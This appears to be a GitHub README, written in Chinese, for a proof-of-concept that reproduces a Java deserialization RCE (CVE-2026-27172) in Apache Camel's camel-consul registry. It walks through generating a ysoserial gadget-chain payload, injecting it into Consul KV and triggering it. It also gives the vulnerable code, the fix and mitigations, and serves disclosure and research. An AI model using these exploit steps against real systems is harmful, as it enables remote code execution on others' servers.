oscerd/CVE-2026-27172
GitHub: oscerd/CVE-2026-27172
Apache Camel camel-consul 组件 ConsulRegistry Java 反序列化漏洞(CVE-2026-27172)的完整复现与验证项目。
Stars: 0 | Forks: 0
# camel-consul ConsulRegistry 反序列化漏洞复现 (CVE-2026-27172)
本项目演示了 Apache Camel 的 `camel-consul` 组件(`ConsulRegistry`)中的一个 **Java 反序列化漏洞**,编号为 **CVE-2026-27172**。它与 **CVE-2024-22369**、**CVE-2024-23114** 和 **CVE-2026-25747** 属于同一类问题,并且在之前修复这些 CVE 时被遗漏了。
安全通告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-consul` |
| **受影响的类** | `org.apache.camel.component.consul.ConsulRegistry` (`ConsulRegistryUtils.deserialize`) |
| **存在漏洞的方法** | `lookupByName()`, `lookupByNameAndType()`, `findByTypeWithName()`, `findByType()` |
| **CWE** | CWE-502: 不可信数据反序列化 |
| **影响** | 远程代码执行 (RCE) |
| **受影响版本** | 3.0.0 至 4.14.6 之前的版本,以及 4.15.0 至 4.18.1 之前的版本 |
| **已修复版本** | 4.14.6, 4.18.1, 4.19.0 |
| **JIRA** | CAMEL-23029 |
## 技术细节
`ConsulRegistry` 使用 Consul 键值存储作为 Camel 注册表。当通过名称查找 bean 时,存储的值会被 Base64 解码,并使用原生的 `ObjectInputStream` 进行反序列化,并且**在受影响的版本中,没有使用 `ObjectInputFilter`**:
```
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
```
任何存储在 Consul KV 存储中且随后被 Camel 查找的键值下的对象都会被反序列化。能够向该 KV 路径写入数据的攻击者可以植入一个在注册表查找时执行的 gadget-chain payload。
## 前置条件
- Java 17+
- Maven 3.8+
- 正在运行的 Consul 代理(KV 存储) —— 例如通过 Docker
- ysoserial(用于生成 payload)
## 复现步骤
### 第一步:启动 Consul
```
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
```
### 第二步:构建并启动应用
```
mvn clean package -DskipTests
mvn spring-boot:run
```
### 第三步:初始化注册表键
```
curl http://localhost:8080/exploit/init
```
### 第四步:生成恶意 Payload
```
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (良性证明: 创建一个文件)。在 macOS 上使用 "open -a Calculator",在 Windows 上使用 "calc.exe"。
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
```
`ConsulRegistry` 存储的是 Base64 编码的序列化对象,因此 payload 以 Base64 格式发送。
### 第五步:将 Payload 注入 Consul KV
```
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
```
### 第六步:触发反序列化(RCE!)
```
curl http://localhost:8080/exploit/trigger
```
`lookupByName()` 会读取 KV 值,对其进行 Base64 解码并执行反序列化 —— 从而执行 gadget chain。
### 第七步:验证利用
```
ls -la /tmp/pwned
```
如果文件 `/tmp/pwned` 存在,则说明利用成功。
## 攻击向量
只要注册表解析 bean,该漏洞就会被触发:
1. **Bean 引用** —— `.to("bean:...")`、`bean(...)`、按名称调用的 `.process("...")` 都会调用 `lookupByName()`。
2. **启动解析** —— 在构建路由时解析 bean。
3. **类型查找** —— `findByType()` / `lookupByNameAndType()` 会遍历 KV 条目并将其反序列化。
## 利用条件
1. **对支持注册表的 Consul KV 存储拥有写入权限**:
- 共享或配置不当的 Consul 集群
- 权限被破坏或范围过大的 Consul ACL token
- 提供了 KV 写入原语的其他漏洞
2. **Classpath 中存在 gadget 库**:
- `commons-collections:3.2.1` (CommonsCollections1-7 gadgets)
- 许多其他库(参见 ysoserial)
## 与同类 CVE 的对比
| 方面 | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|--------|----------------------------|--------------------------|-------------------------|
| **后端存储** | Cassandra 表 | LevelDB 文件 | Consul KV 存储 |
| **ObjectInputFilter(修复前)** | 无 | 无 | **无** |
| **修复方案** | `ObjectInputFilter` 白名单 | `ObjectInputFilter` 白名单 | `ObjectInputFilter` 白名单 |
| **JIRA** | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |
## 建议修复方案
修复方案 (CAMEL-23029) 在 `ConsulRegistryUtils.deserialize` 中添加了一个可配置的 `ObjectInputFilter`(默认为 `java.**;org.apache.camel.**;!*`),并暴露了一个 `deserializationFilter` 选项,以便将受信任的类加入白名单:
```
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
```
## 缓解措施
在升级到已修复版本之前:
1. **限制对 Consul KV 的写入权限**,仅限 Camel 应用自身的身份(遵循最小权限原则的 ACL token)。
2. **移除 gadget 库**:升级或移除如 commons-collections 3.x 等易受攻击的库。
3. **网络隔离**:将 Consul 集群隔离在受信任的网络中。
## 文件
```
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
```
## 免责声明
此复现代码仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, Go语言工具, Java反序列化, JS文件枚举, 域名枚举, 漏洞复现, 编程工具, 请求拦截, 远程代码执行